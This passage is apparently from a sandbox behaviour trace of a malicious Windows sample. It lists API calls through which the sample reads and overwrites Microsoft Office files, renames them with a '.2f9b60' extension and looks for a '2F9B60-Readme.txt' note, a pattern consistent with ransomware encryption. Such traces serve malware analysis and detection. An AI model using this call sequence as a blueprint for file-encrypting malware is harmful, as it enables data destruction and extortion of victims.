returned 0x1b82c3f0 [0147.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0147.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0147.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7710 [0147.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0147.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0147.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0147.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169b30 [0147.903] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.903] WriteFile (in: hFile=0xebc, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x382cfcb0*=0x106, lpOverlapped=0x0) returned 1 [0162.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b00 [0162.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0162.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b60 [0162.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b60) returned 1 [0162.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0162.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b60 [0162.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b90 [0162.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b90) returned 1 [0162.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0162.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b00) returned 1 [0162.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ff70 [0162.995] sprintf (in: _Dest=0x1cd9ff70, _Format="%c%c" | out: _Dest="48") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff72, _Format="%c%c" | out: _Dest="9a") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff74, _Format="%c%c" | out: _Dest="00") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff76, _Format="%c%c" | out: _Dest="6c") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff78, _Format="%c%c" | out: _Dest="2f") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff7a, _Format="%c%c" | out: _Dest="76") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff7c, _Format="%c%c" | out: _Dest="48") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff7e, _Format="%c%c" | out: _Dest="4b") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff80, _Format="%c%c" | out: _Dest="04") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff82, _Format="%c%c" | out: _Dest="40") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff84, _Format="%c%c" | out: _Dest="d9") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff86, _Format="%c%c" | out: _Dest="6e") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff88, _Format="%c%c" | out: _Dest="a8") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff8a, _Format="%c%c" | out: _Dest="d7") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff8c, _Format="%c%c" | out: _Dest="92") returned 2 [0162.995] sprintf (in: _Dest=0x1cd9ff8e, _Format="%c%c" | out: _Dest="e3") returned 2 [0162.996] sprintf (in: _Dest=0x1cd9ff90, _Format="%c%c" | out: _Dest="12") returned 2 [0162.996] sprintf (in: _Dest=0x1cd9ff92, _Format="%c%c" | out: _Dest="9c") returned 2 [0162.996] sprintf (in: _Dest=0x1cd9ff94, _Format="%c%c" | out: _Dest="d7") returned 2 [0162.996] sprintf (in: _Dest=0x1cd9ff96, _Format="%c%c" | out: _Dest="7c") returned 2 [0162.996] RtlInitAnsiString (in: DestinationString=0x382cfd28, SourceString="489a006c2f76484b0440d96ea8d792e3129cd77c" | out: DestinationString="489a006c2f76484b0440d96ea8d792e3129cd77c") [0162.996] RtlAnsiStringToUnicodeString (in: DestinationString=0x382cfcf8, SourceString="489a006c2f76484b0440d96ea8d792e3129cd77c", AllocateDestinationString=1 | out: DestinationString="489a006c2f76484b0440d96ea8d792e3129cd77c") returned 0x0 [0162.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86550 [0162.996] RtlFreeAnsiString (AnsiString="4") [0162.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0162.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0162.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b60) returned 1 [0162.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169b30) returned 1 [0162.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0162.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0162.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0162.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0162.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0162.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0163.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0163.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1cdb5610 [0163.000] wcscat (in: _Dest=0x1cdb5610, _Source="489a006c2f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f" [0163.000] wcscat (in: _Dest=0x1cdb5610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f.2f9b60" [0163.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f.2f9b60", NtPathName=0x382cfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\489a006c2f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8616a0 [0166.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8616a0) returned 1 [0166.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c750) returned 1 [0166.272] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x382cfd38, FileInformation=0x382cfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x382cfd38, FileInformation=0x382cfd48) returned 0x0 [0166.272] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x382cfd38, FileInformation=0x382cfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5610) returned 1 [0209.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86550) returned 1 [0209.494] FlushFileBuffers (hFile=0xebc) returned 1 [0209.551] CloseHandle (hObject=0xebc) returned 1 [0216.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1cdb6010 [0216.544] wcscpy (in: _Dest=0x1cdb6010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0216.544] wcscat (in: _Dest=0x1cdb6010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0216.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0216.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb6010) returned 1 [0216.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5d60) returned 1 Thread: id = 1211 os_tid = 0xe00 [0114.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 0x20 [0114.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE", dwFileAttributes=0x20) returned 1 [0114.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a8 [0114.723] GetFileSizeEx (in: hFile=0x14a8, lpFileSize=0x3837fce0 | out: lpFileSize=0x3837fce0*=52120) returned 1 [0114.723] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0xcb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.723] ReadFile (in: hFile=0x14a8, lpBuffer=0x3837fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3837fca8, lpOverlapped=0x0 | out: lpBuffer=0x3837fc60*, lpNumberOfBytesRead=0x3837fca8*=0x4, lpOverlapped=0x0) returned 1 [0114.731] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0114.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0114.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0114.732] NtQuerySystemTime (in: CurrentTime=0x3837fba0 | out: CurrentTime=0x3837fba0*=132462177201898000) returned 0x0 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x1e40c2f3 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x1cb12879 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0xfda05ff [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x54759c06 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x791ed402 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x473fa2b5 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x190b1265 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x1d303d2f [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x1506855e [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x7bc4a6ae [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x307ddb42 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x6735e4c0 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0xa230b5b [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x8ce1b34 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x3c42e746 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x66898d18 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x42063427 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x58a9f25 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0xc735935 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x62ab93d3 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x15eaa2ee [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x5163d74 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0xfef9ae0 [0114.732] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x16ae8ef4 [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x4cd4b7da [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x5853763e [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x264d33cb [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x365dde4d [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x5e4cfff5 [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x5e9bc67 [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x286fa442 [0114.733] RtlRandomEx (in: Seed=0x3837fb90 | out: Seed=0x3837fb90) returned 0x234179df [0114.743] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.743] ReadFile (in: hFile=0x14a8, lpBuffer=0x41ef1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3837fc00, lpOverlapped=0x0 | out: lpBuffer=0x41ef1d40*, lpNumberOfBytesRead=0x3837fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0114.748] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0114.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633b0) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef5950 [0114.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0114.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0114.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260410) returned 1 [0114.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.749] WriteFile (in: hFile=0x14a8, lpBuffer=0x41ef5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3837fc00, lpOverlapped=0x0 | out: lpBuffer=0x41ef5950*, lpNumberOfBytesWritten=0x3837fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0148.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef5950) returned 1 [0148.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef1d40) returned 1 [0148.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260bc0 [0148.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0148.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0148.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0148.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0148.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202608f0 [0148.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0148.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e60 [0148.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e60) returned 1 [0148.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0148.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0148.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169910 [0148.097] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.097] WriteFile (hFile=0x14a8, lpBuffer=0x169910, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3837fcb0, lpOverlapped=0x0) [0200.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a10 [0200.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9a10) returned 1 [0200.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a10 [0200.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd99e0 [0200.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd99e0) returned 1 [0200.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.574] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="48") returned 2 [0200.574] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.574] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="95") returned 2 [0200.574] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.574] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="6d") returned 2 [0200.574] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="94") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="38") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="18") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="7f") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="28") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="84") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="59") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="74") returned 2 [0200.575] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.575] RtlInitAnsiString (in: DestinationString=0x3837fd28, SourceString="483a95d36d949e38b1187f28848f5ec1ea5974d2" | out: DestinationString="483a95d36d949e38b1187f28848f5ec1ea5974d2") [0200.575] RtlAnsiStringToUnicodeString (in: DestinationString=0x3837fcf8, SourceString="483a95d36d949e38b1187f28848f5ec1ea5974d2", AllocateDestinationString=1 | out: DestinationString="483a95d36d949e38b1187f28848f5ec1ea5974d2") returned 0x0 [0200.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d5b0 [0200.576] wcscat (in: _Dest=0x431889a0, _Source="483a95d36d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d" [0200.576] wcscat (in: _Dest=0x431889a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d.2f9b60" [0200.576] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d.2f9b60", NtPathName=0x3837fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\483a95d36d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431ead50 [0219.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ead50) returned 1 [0219.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fdba0) returned 1 [0219.791] NtQueryInformationFile (in: FileHandle=0x14a8, IoStatusBlock=0x3837fd38, FileInformation=0x3837fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3837fd38, FileInformation=0x3837fd48) returned 0x0 [0219.791] NtSetInformationFile (FileHandle=0x14a8, IoStatusBlock=0x3837fd38, FileInformation=0x3837fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431889a0) returned 1 [0222.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d5b0) returned 1 [0222.733] FlushFileBuffers (hFile=0x14a8) returned 1 [0222.737] CloseHandle (hObject=0x14a8) returned 1 [0223.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4318bf80 [0223.243] wcscpy (in: _Dest=0x4318bf80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0223.243] wcscat (in: _Dest=0x4318bf80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0223.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0223.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bf80) returned 1 [0223.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5df0) returned 1 Thread: id = 1212 os_tid = 0xe24 [0114.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20 [0114.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE", dwFileAttributes=0x20) returned 1 [0114.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f8 [0114.746] GetFileSizeEx (in: hFile=0x14f8, lpFileSize=0x37fcfae0 | out: lpFileSize=0x37fcfae0*=115608) returned 1 [0114.746] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x1c394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.746] ReadFile (in: hFile=0x14f8, lpBuffer=0x37fcfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37fcfaa8, lpOverlapped=0x0 | out: lpBuffer=0x37fcfa60*, lpNumberOfBytesRead=0x37fcfaa8*=0x4, lpOverlapped=0x0) returned 1 [0114.751] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260410 [0114.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0114.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0114.751] NtQuerySystemTime (in: CurrentTime=0x37fcf9a0 | out: CurrentTime=0x37fcf9a0*=132462177202054000) returned 0x0 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x773b0140 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x5656e11 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x1a64b694 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x67086003 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x24e2f96d [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0xfdd8b65 [0114.751] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x5973f6fe [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x20d0902b [0114.752] RtlRandomEx (in: Seed=0x37fcf990 | out: Seed=0x37fcf990) returned 0x3c3c6fad [0114.752] RtlRandomEx (in: Seed=0x37fcf990 